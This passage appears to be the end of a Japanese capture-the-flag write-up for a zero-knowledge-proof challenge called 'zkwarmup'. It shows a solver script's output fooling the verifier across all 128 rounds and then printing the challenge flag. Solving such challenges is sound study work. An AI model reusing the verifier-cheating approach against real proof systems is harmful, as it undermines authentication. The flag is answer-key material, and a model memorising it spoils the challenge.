    data = recvuntil(skt, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome to zkwarmup!
n = 19261756194530262169516227535327268535825703622469356233861243450409596218324982327819027354327762272541787979307084854543427241827543331732057807638293377995167826046761991463655794445629511818504788588146049602678202660790161211079215140614149179394809442098536009911202757117559092796991732111808588753074002377241720729762405118846289128192452140379045358673985940236403266552967867241351260376075804662700969038717732248036975281084947926661161892037413944872628410488986135370175176475239647256670545733839891394321932103696968961386864456665963903759123610214930997530883831800104920546270573046968308379346633
y = 16767197520496051123236393572010159577670096273141666274656424427361210218245687811790257901122343944480816989676989046796866556484868019088653567103600781356121797250314051524496459227913164415854796944302905793538598784509937633183535416276106921602915154266168255169278836960022219802217621989221574642843493390831974534304454989771515575590561823905025621861559535431068715778857381696016616691172424415108371272862897845843226412003580553755637129275167036396597020107773365255862051716656285235619934532362312243715427834514425151214822467376649748014393215490686413128032725029104756010020301394852371770209703
Can you prove that you know sqrt(y) without revealing it to the verifier?
Provide s: 1
b = 0
Provide z: 12987254516155503810734359461536520744202574062589603294071070850949779827428532488312767917623717981595073915666980895197175429951920804170004428001050149771071377151930686395893033550515850208816043222024450841285983199549702181477208595392360195412901002669921924237133507154850618087799290250317553410157716411069896585714053729825883920361475376970444599452699389473574890442460932609801117984991700822337754918597307743806188327640232097493764491428398760809331598548702443314747965050654432976222379836244703181264754397843912279047005825776527417060761227545665353435525556373433539386579693624060358392194672
Verification passed! 127 rounds remaining
Provide s: 4
b = 0
Provide z: 6712752837780745451952491387745772952579444502709850354280898251489963436532082648806508480919673690648359852026876935850923618076298276607951048363806921546974928257099381328130272655402188599127297855902852079893763738309243151875202050170571211430992563241307838563064257192142143378606848388826518067241430444898072441665702340805478712530498613561843840231412838710746514331953997978250975593907596981974540798476883239575401374195516268326367090819383576746034786608418751259320753626069218695774213938649514968207576691990855596707147194887090930362398844876399709340167280946762158226888814201152408405042711
Verification passed! 126 rounds remaining
        :
        :
Provide s: 15876
b = 1
Provide z: 126
Verification passed! 2 rounds remaining
Provide s: 16129
b = 0
Provide z: 12132047016676699554384311112320308968542098038984338468820304785806359525800128151104200420352390496522409048604361053849964048552758932365648706878431891336799684320427897867672733037004471946730459204691040615672640175648474105872204662627064568879624760704523535663721053673505609406212632286599239078739782140330604355880388585952681989548940943027608643204017543049733429190269725929884852127502608107312506370850842380243018718088902615509329588226457308611698124121388794508101561037742971163245851826686535503259579711934497721086261057012050147191169030030365096186619956417141255662622381263359303564259539
Verification passed! 1 rounds remaining
Provide s: 16384
b = 0
Provide z: 5857545338301941195602443038529561176918968479104585529030132186346543134903678311597940983648346205575694984964257094503712236677136404803595327241188663112703235425596592799909972141890810337041713838569441854280420714408015076270198117405275584897716321275909449989651803710797134697020190425108203735823496174158780211832037196932276781717964179619007883982730992286905053079762791298334709736418504266949292250730417876012231764644186786341932187617442124548401312181105102452674349613157756882797685929091347290202402006081441038746402426122613660492806647361099452091261680990469874502931501840451353577107578
Verification passed! 0 rounds remaining
You've convinced the verifier you know sqrt(y)!
b'bctf{c4n_s0m30ne_g1v3_m3_a_r3a1_c01n_t0_fl1p}'
bctf{c4n_s0m30ne_g1v3_m3_a_r3a1_c01n_t0_fl1p}